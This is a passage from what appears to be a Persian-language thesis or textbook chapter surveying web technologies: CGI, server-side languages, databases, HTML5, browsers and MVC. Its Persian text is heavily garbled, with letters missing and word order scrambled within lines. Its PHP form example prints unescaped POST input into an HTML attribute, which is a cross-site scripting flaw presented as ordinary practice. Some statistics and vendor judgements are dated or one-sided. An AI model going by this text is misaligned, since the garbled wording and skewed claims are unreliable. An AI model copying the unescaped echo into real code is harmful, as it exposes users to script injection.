
اند. حت  سایت معرف  ی  موسسه ساده نیز از ام انات پویا جهت تماس با مشتریان و 
  نماید.ردگیری آنان استفاده م 
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برای نوشتن وب پویا  Perlو  ++Cو  Cمانند نویس  معمول  های برنامهدر ابتدا از زبان
گفتند. مش ل اصل  س  ج  آی در این م  CGI Scriptها شد. به این برنامهاستفاده م 

  کرد. را نیز باید مدیریت م  HTTPهای بود که نه تنها محتوای صفحه خروج ، بل ه سرآیند

 

  CGIگردش کار اجرای ی  ١٦شل 

حاوی پارامترهای مهمیست  HTTPمانطور که قبلا مشاهده شد، سرآیند درخواست ه
توانست م   HTTPکه توسط برنامه باید تفکی  و تفهیم شوند. همچنین بدنه درخواست 

بایست دارای استانداردها و های ارسال  به سرور باشد. سرآیند پاس  نیز م حاوی داده
نویس، کار را بسیار دشوار جاد تمام  آنها توسط برنامهبود که رعایت و ایقواعد خاص  م 

  کرد.م 

نکته بسیار مهم دی ری که در وب مطرح بود، حجم زیاد خروج  به نسبت کد بود. اکثر 
های لازم اختصاص % حجم کد خود را به ایجاد خروج ٩٠های تحت وب بیش از برنامه
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شود، و ام انات صرف م  برنامهها و منطق % برای پردازش داده١٠دهند و تنها م 
  ).printfبسیار محدود و دشوار بود ( Cهایی مانند خروج  دادن زبان

CGI  های جدیدی با تمرکز بر روی زبان ١٩٩٨موجود بود ول  از سال  ١٩٩۵از سال
بارز این  ترین آنهاست. ویژگ مای روسافت از قدیم  ASPنویس  وب به میان آمدند. برنامه
های را پردازش کرده، در قالب HTTPو بدنه درخواست  ا در این است که خود سرآیندهزبان

دهند. همچنین سرآیندهای پاس  را به سادگ  بر نویس تحویل م بسیار ساده به برنامه
-نمایند. همچنین این زباننویس به صورت خودکار ایجاد و ارسال م اساس خروج  برنامه

) را دارا هستند تا به سادگ  و سرعت بتوان RADنامه سریع (ها اکثرا ام ان توسعه بر
 صفحات وب پویا را با آنها ایجاد نمود.

  های مطرح سمت سرور به شرح زیر هستند:زبان

٢٬٤٬٧٬١ PHP 

نویس  تحت وب، در حال ترین زبان برنامهپی اچ پی، به عنوان معروفترین و پر استفاده
پی اچ پی  ینترنت را از آن خود کرده است.های پویای ادرصد کل سایت ٧۵حاضر بیش از 

  زبان  بسیار قدرتمند، سریع و ساده است.

 

  PHPنمایه ساده و محبوب  ١٧شل 



28 
 

خود را درگیر  PHPنویس شود برنامهنوع ده  متغیرها به صورت آزاد، باعث م 
های ی  برنامه ین تمام قسمتمتغیرها و نوع آنها نکند و تنها به داده اهمیت دهد. همچن

نباشد، به صورت خودکار توسط مفسر آن به عنوان  PHPکه بین دو برچسب شروع و پایان 
شود، به عنوان مثال کد زیر به سادگ  ی  فرم ایجاد کرده و مقدار فیلد نام خروج  تلق  م 
  سازد :های ورودی کاربر مشخص م آنرا بر اساس داده

<form method=’post’> 

<input type=’text’ name=’username’ value=’<?php echo 

$_POST[‘username’];?> ’ /> 

</form> 

ها و قطعه کدهای مربوط به همچنین پی اچ پی دارای دامنه وسیع  از کتابخانه  
است، چندس ویی بودن وب است. مهمترین ویژگ  پی اچ پی که آنرا تا این حد متمایز کرده

افزار نوشته شده توسط پی اچ پی، بر روی انواع سرورها  و است. ی  نرمو عدم اتکا به س
است) احتیاج به  MyQSLکند و به غیر از ی  پای اه داده ساده (که معمولا ی جور کار م 

  تنظیمات دی ری ندارد.

افزارهای متن باز و بسیار معروف موجود بر روی وب، مانند وردپرس، اکثر نرم  
 ، - % کل سایتهای اینترنت  را از آن خود کرده٣٠و ... که بیش از  MyBB ،Drupalجوملا

. MySQLو  PHPاند، مبتن  بر    هستند

پی اچ پی به صورت پیشفرض زبان ساده و سط  پایینیست. ام انات اولیه وب و   
HTTP  درونPHP افزارهای امروزی تر که اکثر نرماند اما ام انات پیشرفتهگنجانیده شده

های است. از این رو اتکا به چهارچوبا احتیاج دارد، بر روی زبان تعبیه نشدهوب به آنه
) در این زبان بسیار بسیار معمول است. Web Application Frameworkتوسعه وب (
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اند و باز طراح  شدهنویسان معمول  و متنها ، توسط برنامهمتاسفانه اکثر این چهارچوب
  ول امنیت  در اکثر آنها گردیده است.این امر منجر به عدم رعایت اص

٢٬٤٬٧٬٢ ASP 

ASP  اولیه مای روسافت، شباهت  زیادی بهPHP  داشت، با این تفاوت که تنها بر روی
های جانبی بسیار کم و محدودی داشت. از قابل اجرا بود و همچنین کتابخانه IISویندوز و 

بخش  از این  ASP، خود را معرف  نمود NET.که مای روسافت بسته تکنولوژی  ٢٠٠٠سال 
  ارائه گردید. ASP.NETبسته گردیده با نام تجاری 

 

 ASPXنمایه  ١٨شل 

ASP.NET  نویس  باشد، ی  بستر است. این بستر بیشتر از اینکه ی  زبان برنامه
ه قابل استفاد C#.NETو   VB.NETنویس  کاربر پسند مای روسافت، توسط دو زبان برنامه

نویسان نویسیست که برای برنامهزبان  بسیار ساده با کمترین اصول برنامه VB.NETاست. 
است. از  ++Cیافته و بروزشده بر اساس زبان  ساخت #Cمبتدی بسیار مطلوب است. 
کنند، (در ایران) از وی بی استفاده م   NET.نویسان محیط آنجایی که بسیاری از برنامه

  شود.ن س و بسیار ضعیف و نا امن طراح  م های ایاکثر برنامه

را محیط  ASP.NET، سادگ  آن  است. بیشتر کار ی  برنامه ASP.NETویژگ  مهم 
دهد و حجم کمتری از کار به انجام م  Visual Studioتوسعه مای روسافت موسوم به 

سافت، از شود. نکات منف  آن اتکای بیش از حد به محصولات مای رونویس محول م برنامه
باز خود بسیار عقب است که هم   از همپایان متن IISو  SQL Serverجمله ویندوز، 

  هستند و هزینه بالایی نیز برای تهیه آنها باید پرداخت شود.
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ASP.NET   خود بر روی.NET Framework   بنا شده که مجموعه کامل و بی نقص
های متن نویسیست و جای زین چهارچوبمههای لازم برای برناها، توابع و کلاساز کتابخانه

  باشد.م  PHPباز استفاده شده در 

ها در ایران رای ان هستند، و کار با آنها برای مبتدیان بسیار از آنجایی که این تکنولوژی
  ساده است، بیشتر بازار وب ایران را این تکنولوژی پر کرده است. 

٢٬٤٬٧٬٣ Java (JSP) 

 JSPهای تحت وب افزود. ه زبانجاوا هم پس از چندی، خود را ب
است که از زبان  CGIای مشابه تکنولوژی Java Server Pagesیا 

نماید. پیدایش این تکنولوژی به دلیل نویس  جاوا استفاده م برنامه
نویسان جاوا و پایداری بسیار بالای آنها به این زبان متعدد بودن برنامه

  شود.قدیم  و ناسریع دانسته م 

  

JSP عمولا بر روی مApache Tomcat  شود، بسیار کند است و مش ل سرویس ده  م
های جاوا با اصل  آن عدم ام ان خروج  دادن وسیع است، که باعث شده معماری وب

ASP  وPHP ای داشته باشد.تفاوت عمده  

٢٬٤٬٧٬٤ ColdFusion 

ColdFusion  تکنولوژی وب انحصاریAdobe  های خوب و قابل توجهاست. ویژگ  
  .ر این زبان گنجانیده شده استد

 نمایه جاوا ١٩شل 
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  حاوی نمایه آن ColdFusionصفحه نصب  ٢٠شل 

مای روسافت برآورده میشد،  ASP.NETول  از آنجایی که اکثر این اهداف توسط 
  مخاطبین بسیار کم  به این زبان روی آوردند.

٢٬٤٬٧٬٥ Perl 

- ترین زبانی کامپیوتر. پرل از قدیم هازبان بسیار قدیم  و نامنظم، مورد علاقه خوره

های دی ر، پرل بیشترین های متن باز است و ام انات قابل توجه  نیز داراست. از بین زبان
های تحت ترمینال برای کاربرد عمده پرل در نوشتن اس ریپتپی دارد.اچت را به پیشباه

ز بر اساس پرل ایجاد های بسیار بزرگ  نیهای یونی س است، تا جایی که برنامهسیستم
  اند.شده

 

  نمایه زبان قدیم و محبوب پرل ٢١شل 
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-های پویا را سرویسپی، پرل درصد قابل توجه  از سایتاچقبل از به میدان آمدن پی

کرد. به دلیل دشواری سینتکس و زبان پرل و مناسب بودن آن تنها برای کاربران ده  م 
 ای، امروزه در وب جای اه کمرنگ  دارد.نسبتا حرفه

٢٬٤٬٧٬٦ Ruby 

است. در طراح  روبی سع  روبی زبانیست نسبتا قدیم  که چندسالیست رونق گرفته
نویسان روبی علاقه سازی استفاده شود. برنامههای برنامههای جدید زبانشده از تکنولوژی

» نوشتن با آنر هنگام برنامهلذت د«زیادی به این زبان دارند و دلیل اصل  استفاده از آنرا 
  میدانند. 

 

  نمایه زبان جدید و محبوب روبی ٢٢شل 

نویس قرار ام انات  را در اختیار برنامه Cروبی از نظر سرعت کم  کند است و به مانند 
ویس  نشود. برای برنامهدهد که منجر به ناخوانایی برنامه و درصد خطای بالای آن م م 

  نماید.تکیه م  Railsوب، روبی بر چهارچوب 

٢٬٤٬٧٬٧ Python 

ها، پایتون زبان بسیار قدرتمند و قدیمیست که بیشترین شیب رشد را در تعداد برنامه
نویسان و مخاطبان دارد. خوانایی بالای کد، سرعت قابل توجه و پوشش کامل برنامه
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نویس ، پایتون را به های برنامهزبان های روزای، به همراه پشتیبان  از تکنولوژیکتابخانه
  است.نویس  تبدیل کردهی  بسته کامل برنامه

 

  نمایه معروف پایتون ٢٣شل 

- ، کدهای پایتون مناسب وب م djangoعلاقمندان به پایتون بر اساس چهارچوب 

یار پایین است، در حال  که های نیرو گرفته از پایتون بسنویسند. در حال حاضر تعداد سایت
  اند.افزارهای غیروبی تولید شده در سالهای اخیر با استفاده از این زبان ایجاد شدهبیشتر نرم

- پایتون نیز به مانند روبی و جاوا، مفسری بوده بر روی همه س وها به سادگ  اجرا م 

 شود.

 

  ت سرور در سایتهای مختلفهای سمدرصد استفاده از زبان ٢٤شل 
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 هادیر زبان ٢٬٤٬٧٬٨

تر بودن آنها در های متعدد دی ری نیز در توسعه وب وجود دارد که به دلیل کمرنگزبان
، C ،Pascalهای توان به زبانای نشده است. به عنوان مثال م این سند بدانها اشاره

Scala ،Lua  وTcl .اشاره نمود 

  

٢٬۴٬٨ Database Server 

) Persistentهای مانا (افزاری، دادهائل مطرح در هر سیستم نرماز مهمترین مس
های مانای آن افزاری مدیریت دادهدرصد کار هر سیستم نرم ٧٠توان گفت هستند. م 

ها و کاهش هزینه افزاری امروزی برای مدیریت این دادههای نرماست، لذا اکثر سیستم
  کنند.تولید، از پای اه داده استفاده م 

های مانا، ام انات بسیار دی ری از جمله ای اه داده علاوه بر مدیریت دادهپ  
دهد و هزینه تولید و نگهداری گیری و غیره را انجام م گزارش یری، آمارگیری، پشتیبان

 دهد.% کاهش م ۵٠افزار را بیش از نرم

 

  نمایه پایاه داده ٢٥شل 



35 
 

در مدیریت  ACIDای اه داده، مهیا کردن چهار ویژگ  مهمترین وظایف ی  پ  
  های ماناست:داده

• Atomicityای، اتم  باشد، یعن  انجام شدن نیم  از آن مم ن نباشد و : عملیات داده
 همه آن یا ی جا انجام شود یا نشود.

• Consistencyها خراب نشود. به عنوان مثال اگر ی  کاربر، : صحت ارتباطات بین داده
ودیت به نام مشخصات کاربری دارد، ام ان وجود ی  کاربر در سیستم بدون موج

 داشتن مشخصات کاربری نباشد.

• Isolationهایی که به صورت موازی در سیستم در حال انجام هستند، همان : تراکنش
 ای را حاصل کنند که وقت  به صورت سری اجرا شوند خواهند کرد.نتیجه

• Durabilityباشد، یعن  پس از اتمام ی  تراکنش، حت  اگر برق قط  شد ها م نا : داده
 ها دستخوش تغییر نشود.داده

ها را نیز فراهم آورد، بدین همچنین ی  پای اه داده معمولا باید همروندی تراکنش
معن  که اگر صد نفر همزمان دسترس  به داده یا گزارش خاص  را طلب کردند، با سرعت و 

  رسان  کند.فر آنها سرویسبدون تاخیر به هر صد ن

های بالا و گاها انفجاری های فوق، در ی  سیستم مبتن  بر وب، که تراکنشویژگ 
)Bursty کنند، لذا پای اه داده باید بتواند به بهترین وجه ) دارد، اهمیت دوچندان  پیدا م

  همروندی را با دقت کاف  مهیا نماید.

های داده )  هستند. امروزه پای اهRDBMS( ایهای مطرح شده، از نوع رابطهپای اه
ای نیستند و اند که رابطهشوند وارد بازار شدهشناخته م  NoSQLجدیدی که با نام نوع 

  ای ندارند).کنند (ی پارچ   را به صورت لحظهخواص فوق را به صورت کامل مهیا نم 
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وزی بسیار مهم است به های امرکه در سیستم Scalabilityهای داده با هدف این پای اه
 MongoDBو  Riakتوان باشد. از مهمترین آنها م اند و اصول آنها متفاوت م میدان آمده
  را نام برد.

معروف امروزی، اهمیت بسزایی  RDBMSهای های پای اهها و تفاوتشناخت ویژگ 
  ها مورد بررس  قرار خواهند گرفت.دارد، لذا در ادامه این سیستم

٢٬٤٬٨٬١ Oracle 

کمپان  بزرگ دنیا محسوب  ١٠٠های تجاری، با پشتیبان  شرکت  که جزو ل پای اهغو
گیرد. داده را در بر م شود، تقریبا تمام  ام انات تئوری و عمل  مطرح در علم پای اهم 

های بسیار بزرگ است، برای مثال کارت سوخت در ایران این پای اه داده مناسب سیستم
  گردد.تیبان  م توسط این پای اه داده پش

 

  های کامپیوترینمایه اوراکل، از بزرگترین کمپان ٢٦شل 

 

افزاری بسیار قوی و نیاز به مدیر از معضلات اصل  این پای اه داده نیاز به بستر سخت
 پای اه تمام وقت است.

٢٬٤٬٨٬٢ SQL Server 

ود را ارائه داده است. این پای اه داده انحصاری خ Sybaseمای روسافت با هم اری 
- پای اه داده حجم بسیار بالا و سرعت متوسط  دارد و ام انات قابل توجه  نیز ارائه نم 

های تجاری و مفید آن نیز بسیار بالاست. تنها ویژگ  مثبت این دهد. ضمنا قیمت نسخه
  است. )NET.افزار مای روسافت (پای اه داده همخوان  خوب آن با محصولات توسعه نرم
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  ، محصول محبوب و منفور مایروسافتSQL Serverنمایه  ٢٧شل 

) از استانداردهای متفاوت  استفاده 2000,2005,2008های مهم این سیستم (نسخه
  ای نیست.کنند و تبدیل آنها به ی دی ر امر سادهم 

٢٬٤٬٨٬٣ PostgreSQL 

به بعد (نسخه  ٨کارها. این سیستم از نسخه  داده متن باز، مورد علاقه لینوکسپای اه
است، ول  کار با آن کم  است) ام انات استاندارد و قابل قبول  را ارائه کرده ٩جاری آن 

  شود.مش ل است و به همین دلیل استقبال کم  از آن م 

 

  ، پایاه داده ناشناس ماندهPostgreنمایه  ٢٨شل 

 

٢٬٤٬٨٬٤ MySQL 

ترین پای اه داده در حال استفاده است، که ابتدا توسط شرکت اس یول، معروفمای 
MySQL AB  در سوئد ایجاد شد. این پای اه داده بسیار سریع، قدرتمند و جم  و جور
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کنند. نسخه متن باز آن نیز رای ان افزارهای متن باز از آن استفاده م است و بیشتر نرم
  است.

 

 MySQLنمایه بسیار محبوب  ٢٩شل 

 

- افزاری از این پای اه داده بهره م های نرم% سیستم۴٠) ٢٠١٢در حال حاضر (سال 

  درصد رشد داشته است. ٨گیرند که نسبت به سال گذشته 

به دلیل متن باز بودن این سیستم، سرعت رشد آن بسیار بالا بود و بسیاری از مشتریان 
Oracle ام انات کمتری داشته ول  هزینه بسیار بسیار ناچیزی را پرداخت  دادندترجیح می

را خرید و از آن پس رشد بسیار سریع آن  MySQL ٢٠١٠کنند. شرکت اوراکل در سال 
  های متوسط باق  بماند.متوقف شد تا در حد پای اه داده

٢٬٤٬٨٬٥ SQLite 

بر خلاف دی ر کیلوبایت). اس کیو لایت،  ٢٧۵داده منحصر بفرد و جم  و جور (پای اه
ها، احتیاج به نصب و وجود ی  سرور ندارد، بل ه کتابخانه آن هم نقش واسط و دادهپای اه

  نماید.هم نقش سرور را ایفا م 
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  کندکه سادگ آنرا منعکس مSQLite نمایه  ٣٠شل 

دهد (و به همین دلیل م  های ی  پای اه را درون ی  فایل قرارداده، کل دادهاین پای اه
همروندی خوبی ندارد) اما سرعت قابل توجه و ام انات خوبی داراست که آنرا برای 

  آل کرده است.کاربردهای جم  و جور و تک کاربره ایده

SQLite  تاکنون به حدی رشد داشته که حدود نیم   ٢٠٠٠نیز متن باز است و از سال
  کنند.افزارها بر آن تکیه م از نرم

 غیره .١٬١٬١٬١

) نیز وجود دارند، ول  مشتری Firebirdو  Sybaseهای داده بسیار دی ری (مانند پای اه
برای  SQLهای داده از زبان استاندارد بسیار کم  برای آنها وجود دارد. تمام  این پای اه

افزار مربوطه با استفاده از ی  کتابخانه کنند، به این صورت که نرمعملیات خود استفاده م 
دهد، ها) را به سرور آنها انتقال م مورد نظر (شامل دستورات و داده SQLواسط، دستور 

  شود.افزار بازگردانده م شود و پاس  آن به نرمعملیات انجام م 

های امروزی متوجه لازم به ذکر است که درصد قابل توجه  از معضلات امنیت  سیستم
  های پای اه داده است.سیستم



40 
 

 

  هاهای داده مختلف در سازماننسبت نصب و تصمیم به نصب پایاه ٣١شل 

 

٢٬۴٬٩ HTML 5 

، عدم پشتیبان  از صوت و تصویر متحرک بود، به طوری HTMLی   از معضلات اصل  
آوردند تا اینگونه روی م  Adobe Flash Playerهای ها به استفاده از افزونهکه اکثر سایت
  پشتیبان  کنند. محتوا را نیز
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  ۵نسخه  HTMLنمایه  ٣٢شل 

استفاده از افزونه، ماهیت وب را که چندس ویی، استاندارد بودن و امن بودن است، زیر 
افزارهای مستقل  شوند، نرمهایی که بر روی کاوش رها نصب م برد. افزونهسوال م 

رند و در بسیاری از موسسات بزرگ و مهم، نصب هستند که اصول امنیت  خود را لازم دا
  ها بر روی کاوش ر غیرمجاز است.اینگونه افزونه

HTML5  استاندارد شد تا صوت و تصویر و همچنین  ٢٠١١در سالSVG  تصاویر)
) و Drag & Dropبرداری) را پشتیبان  نماید. همچنین پشتیبان  از کشیدن و رها کردن (

های تحت وب جهت بازکردن فایلهای مختلف در کاوش ر از ویژگ افزار همچنین معرف  نرم
  جدید موجود در این استاندارد است.

های جدید را به از آنجایی که این استاندارد هنوز نوپاست، و دامنه وسیع  از تکنولوژی
کند، از نظر امنیت بسیار آسیب پذیر و خوش پتانسیل است. در حال ی باره پشتیبان  م 

شود و هر کاوش ری نیز به روز معضلات متعددی بر روی این استاندارد کشف م حاضر هر
  سازی کرده است.شیوه انحصاری خویش آنرا پیاده
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  HTML 5های مهم افزوده شده در ویژگ ٣٣شل 

  

 کاوشر وب ٢٬۴٬١٠

م عامل + ) بر روی س و (سیستNativeافزاریست که به صورت محل  (کاوش ر وب، نرم
دهد. در واق  در و صفحات وب را به صورت استاندارد نمایش م  سخت افزار) اجرا می ردد

کند (جهت را باز م  HTMLهای افزاریست که فایلترین تعریف، کاوش ر وب نرمساده
  خواندن، نه نوشتن)

 Lynxدر ابتدا کاوش رهای وب بسیار ساده و سب  بودند، به عنوان مثال کاوش ر 
را بر روی ترمینال نمایش میدهد و ام انات خوبی نیز  HTMLحت کنسول صفحات ت

و همچنین استاندارد شدن  AJAXو  Javascriptداراست. امروزه با گسترش استفاده از 
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HTML 5اند افزارهای موجود تبدیل شدهترین نرم، کاوش رهای وب به ی   از پیچیده
.کار م های بزرگ و متخصص  بر روی آنها وتیم   کنند

کنند و این یعن  افزارها خود را بر روی بستر وب عرضه م در حال حاضر اکثر نرم
های بسیار ساده با نام هاست. اکنون سیستمکاوش ر وب قسمت  از س وی اجرای برنامه

- کنند و به واسطه آن م وجود دارند که تنها ی  کاوش ر وب اجرا م  Thin Clientتجاری 

  های عامل) را تحت وب اجرا کنند.افزارهای متعددی (حت  سیستمتوانند نرم

  های زیر تش یل شده است:ی  کاوش ر وب از بخش

 HTMLاین قسمت وظیفه تبدیل فایل ): Rendeing Engineموتور پردازش ( •
های مذکور پس از پردازش توسط و اسناد ضمیمه آن به ی  تصویر را دارد. فایل

ورت قابل نمایش گرافی   درآمده برای کاربر واض  و موتور پردازش ر،  به ص
های امروزی بسیار پیچیده هستند، سرعت شوند. از آنجایی که وبقابل مرور م 

 و دقت این بخش از کاوش ر مهمترین ویژگ  آن است.

: افزونه • . های متعددی پشتیبان  م اکثر کاوش رهای امروزی، از افزونهها کنند
کنند که توسط آنها نویس  منحصر به خود را تعریف م مهکاوش رها زبان برنا

. هایی طراح  کرد که ام انات خاص  را به کاوش ر اضافه م توان افزونهم  کنند
ها از ی  تغییر نمایش ساده تا مدیریت ی  پای اه داده در حال حاضر افزونه

 وف وجود دارد.ها افزونه برای کاوش رهای معرگیرند و میلیونکامل را در بر م 

، موتور اجرا بخش مهم  از Javascriptموتور اجرا: با گسترده شدن استفاده از  •
توان کدهای جاواس ریپت را پردازش کرده با کاوش رها شده است. این موتور م 

 سرعت و دقت قابل توجه  اجرا نماید.



44 
 

احتیاج به  HTMLکاوش ر وب، برای تکمیل نمایش ی  سند مدیریت شب ه:  •
، فایلهای جاواس ریپت، فایلهای انیمیشن، صوت CSSیافت تصاویر، فایلهای در

- نیز توسط کاوش ر مدیریت م  AJAXهای و غیره دارد. همچنین درخواست

شوند. اگر کاوش رها بخواهند تمام این فایلها را ی جا درخواست دهد، شب ه 
-صفحه ساعتشود. اگر ی   ی   آنها را درخواست دهد، بار شدن ی  مختل م 

ریزی شده قطعات انجامد. کاوش رها به صورت همروند و برنامهها به طول م 
.مختلف هر صفحه را دریافت، پردازش و ارائه م   کنند

-ها، مدیریت کوک ،  مدیریت سایتمدیریت رمزهای عبور سایتابزار جانبی:  •

مروزی های مورد علاقه کاربر و دی ر موارد ریز و درشت توسط کاوش رهای ا
.پشتیبان  م   شوند

) Sandboxسازی شده (معمولا کاوش رهای وب، محتوای وب را در ی  بستر شبیه
کنند و اجازه دسترس  مستقیم به منابع حساس سیستم (سخت افزار، سیستم اجرا م 

دهند. اگر در برنامه کاوش ر، معضل امنیت  وجود داشته باشد، عامل و ...) را به آن نم 
ها را پشت سر گذاشته، دسترس  مستقیم به سیستم تواند این محدودیتیت م ی  وب سا

  ایجاد کند و امنیت آنرا تحت مخاطره قرار دهد.

  پردازیم:در ادامه به بررس  کاوش رهای مهم وب م 

 مایروسافت اینترنت اکسپلورر  ٢٬٤٬١٠٬١

 ر از آنجایی که رونق استفاده از وب با ویندوز مای روسافت همراه بود، کاوش
شد، سالها بی رقیب بازار مای روسافت که به همراه سیستم عامل ویندوز عرضه م 

که بعدها به فایرف کس  Netscape Navigatorکاوش رها را در اختیار داشت. در این میان 
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تبدیل شد نیز ایجاد شده بود ول  درصد بسیار کم  از کاربران احساس نیازی برای استفاده 
  از آن داشتند.

رنت اکسپلورر در تاریخ خود دچار حملات و معضلات امنیت  بی شماری بوده است اینت
شود. همچنین سرعت این کاوش ر به نسبت بقیه کاوش رها بسیار و بسیار نا امن تلق  م 

  پایین است و ام انات آن نیز همواره محدود و غیر استاندارد بوده است.

کنند و را نیز پشتیبان  م  HTML5دارد این کاوش ر استان ١٠و  ٩در حال حاضر نسخه 
اند، ول  با هر روز مهمتر شدن وب، کاربران این به کیفیت قابل قبول  نیز دست یافته

  اند.کاوش ر نیاز به کاوش رهای بهتر را درک کرده و به آنها مهاجرت کرده

 

  شناسندنت را با این نما م، بسیاری از کاربران، اینترIEنمایه آشنای  ٣٤شل 

  

اینترنت اکسپلورر تنها بر روی ویندوز مای روسافت قابل اجراست و نس  جدید آن نیز 
تنها بر روی نس  جدید ویندوز قابل اجرا هستند. این کاوش ر وابستگ  شدیدی به سیستم 

  عامل دارد.
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  ٢٠١٠ف تا قبل از سال نسبت استفاده از کاوشرهای مختل ٣٥شل 

 

٢٬٤٬١٠٬٢ Mozilla Firefox 

 Netscapeمای روسافت،  IEسال رقابت بی حاصل با  ١٠پس از حدود  ٢٠٠۴در سال 

Navigator نویسان قرار پروژه خود را متن باز کرد و کد منبع آنرا در اختیار کاربران و برنامه
گرفت و کاوش ری ش ل  Mozillaداد. به سرعت پروژه فایرفاکس تحت موسسه متن باز 

قدرتمند به عرصه آمد که روز به روز رشد کرد. فایرفاکس در کمتر از چند سال ی  سوم 
  کاربران وب را به خود اختصاص داد.

 

  نمایه فایرفاکس ٣٦شل 
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ای ترین کاوش ر مناسب برای این کاوش ر به عنوان حرفه ١٣در حال حاضر نسخه 
کند و دهندگان وب، از تمام استانداردهای وب پشتیبان  م ای و توسعهکاربران حرفه

  ها افزونه قدرتمند برای آن طراح  شده است.میلیون

های جدید فایرفاکس ضعف سرعت داشتند که با قدرت گرفتن در سال اخیر، نسخه
روی ، کاربران خود را به ی باره از دست دادند. فایرفاکس بر Google Chromeانفجاری 

  ها، قابل اجراست.های عامل موجود، حت  موبایلهمه سیستم

٢٬٤٬١٠٬٣ Opera 

میلیون کاربر در  ٢٧٠وجود داشته و بیش از  ١٩٩۴کاوش ر کم سر و صدای اپرا، از سال 
سراسر جهان داراست. این کاوش ر قدرتمند و سریع، به دلیل عدم پشتیبان  توسط 

  د درخود خود نرسید.های بزرگ، هیچوقت به معروفیت و کاربرکمپان 

 

  نمایه اپرا ٣٧شل 

مهمترین ویژگ  اپرا، وجود نسخه موبایل بسیار قدرتمند آن است که بسیاری از کاربران 
ها قابل موبایل را به سمت این کاوش ر سوق داده است. اپرا نیز بر روی همه سیستم عامل

  اجراست.
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٢٬٤٬١٠٬٤ Google Chrome 

پا به عرصه  ٢٠٠٨کاوش ر بسیار قدرتمند نیمه متن بازیست که از سال  کاوش ر گوگل،
کاوش رهای وب نهاده است. این کاوش ر بر ایده محوری موتور بسیار سریع جاواس ریپت 

  ش ل گرفته و به همین دلیل سرعت آن به طرز قابل توجه  از دی ر کاوش رها بیشتر است.

اوش رهای امروزی (به دلیل تنوع و همچنین معضل مصرف حافظه بسیار بالای ک
کروم  Sandboxپیچیدگ  بالای وب) در این کاوش ر کمتر وجود دارد. از نظر امنیت نیز 

  تر از دی ر کاوش رهاست.چندبرابر امن

 

  نمایه کروم ٣٨شل 

اوش ر، در حال حاضر با به عرصه آمدن تعداد قابل توجه  افزونه و بال  شدن این ک
ترین شود در کمتر از ی  سال آینده محبوباند و پیش بین  م کاربران آن بسیار زیاد شده

  دهد.کاوش ر وب باشد. علاوه بر آن شرکت بزرگ گوگل پشتیبان  این کاوش ر را انجام م 

گوگل کروم نیز مانند اکثر کاوش رهای امروزی بر روی تمام س وها قابل اجراست و 
  ایل آن نیز در حال تکامل هستند.های موبنسخه

٢٬٤٬١٠٬٥ Apple Safari 

های اپل است. این کاوش ر که به صورت پیشفرض بر سافاری، کاوش ر محبوب سیستم
) قرار دارد، دارای نسخه موبایل و رومیزی Mac OS X, iOSهای عامل اپل (روی سیستم

  بسیار قدرتمندی و سریعیست.
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  سافارینمایه  ٣٩شل 

های آن کم  کوچ  است. سافاری ام انات قابل توجه  دارد ول  دنیای افزونه
های غیر اپل مستقر همچنین ام انات بارز خاص  ندارد تا برای کاربران  که روی سیستم

  هستند، جای زین مناسبی باشد.

  

 

  ه توسط وییمدیانسبت استفاده از کاوشرهای مختلف، گزارش شد ٤٠شل 
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های اپل طراح  شده است، بر روی سیستم با اینکه این کاوش ر مخصوص سیستم
عامل ویندوز نیز نسخه قابل اجرا و کامل  دارد. همچنین بر خلاف اکثر کاوش رهای موبایل، 

های کند (به دلیل قدرتمند بودن موبایلسافاری موبایل از جاواس ریپت پشتیبان  کامل م 
  اپل)

  

٢٬٤٬١٠٬٦ Mobile Browsers 

با افزایش روزافزون استفاده از موبایل به جای رایانه شخص  جهت کاوش وب (و 
افزارهای تحت وب)، کاوش رهای قدرتمند موبایل چالش جدیدی ایجاد استفاده از نرم

های ها معمولا پردازنده ضعیفتر و حافظه بسیار بسیار کمتری از کامپیوتراند. موبایلکرده
های موجود جهت ارائه وب بر روی آنها پاسخ و نیست. همچنین ند و تکنولوژیرومیزی دار
های رومیزی برخوردار ها از پهنای باند کمتری نسبت به اینترنت کامپیوتراکثر موبایل

  جویی کنند.هستند و باید در مصرف پهنای باند صرفه

 

  ت موبایل خواهند بوددر آینده بیشتر کاربران وب تح ٤١شل 

کردند، زیرا در گذشته هیچ دام از کاوش رهای موبایل از جاواس ریپت پشتیبان  نم 
ها ها قدرت کاف  برای پردازش جاواس ریپت نداشت. همچنین اکثر سایتپردازنده موبایل
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تر و مختصرتر طراح  نسخه خاص  برای موبایل داشتند که هم بسیار سب تر بود و هم ساده
  ده بود تا توسط کاوش رهای موبایل قابل پردازش باشد.ش

ها، کاوش رهای کامل  بر روی آنها ارائه شده در حال حاضر با رشد ابعاد و قدرت موبایل
ها را به که هم ام ان اجرای کامل جاواس ریپت را داراست و هم نسخه رومیزی وب سایت

  دهد.سادگ  و سهولت نمایش م 

کنند و ای موبایل اپل از کاوش ر قدرتمند سافاری استفاده م هدر حال حاضر سیستم
 اند.های دی ر بر اپرای موبایل تکیه کردهاکثر موبایل

 غیره ٢٬٤٬١٠٬٧

های خاص خود را دارا کاوش رهای متعدد دی ری وجود دارند که هرکداک ویژگ 
ممتاز های شوند و آنقدر ویژگ های کوچ  پشتیبان  م هستند. این کاوش رها توسط تیم

  ندارند که درصد خاص  کاربر را جذب خود نمایند.

های ) اهمیت خاص  دارند زیرا سیستمCLIدر این میان کاوش رهای مبتن  بر کنسول (
سرور و لینوکس  معمولا مبتن  بر کنسول هستند و ام انات حداقل  وب بر روی کنسول 

ترین محبوب Lynxن کاوش ر نماید. در این میاها را بسیار ساده م مدیریت این سیستم
جهت ایجاد محیط کاربری  NCURSESکاوش ر تحت کنسول بوده که از کتابخانه کنسول  

  گیرد.خود بهره م 
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  ٢٠٠٩رشد استفاده از کاوشرهای دیر از سال  ٤٢شل 

 

  )اپرا: قرمز کروم،: سبز رفاکس،یفا: نارنج ،IE: یآب( کشورها در وب یکاوشرها گستره ٤٣شل 
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 افزار وبالگوهای توسعه نرم ٢٬٥

که مهمترین آنها تغییرپذیری بالای  -افزار تحت وب های منحصر بفرد نرمبه دلیل ویژگ 
افزار پاسخ و نیستند. در این راستا ال وهایی به میان ال وهای معمول توسعه نرم –آن است 

است.  Component Based MVCو  MVCترین آنها ال وی حاضر بال  اند که در حالآمده
  گردد:های آنها در ادامه مطرح م این دو ال و و ویژگ 

٢٬۵٬١ MVC 

بندی معنایی ، ال ویی برای تقسیمModel-View-Controllerام وی س  مخفف 
هایی از سیستم هستند که وظیفه وظایف در ی  سیستم است. در این ال و، مدل بخش

  طق و هسته برنامه را به عهده دارند. من

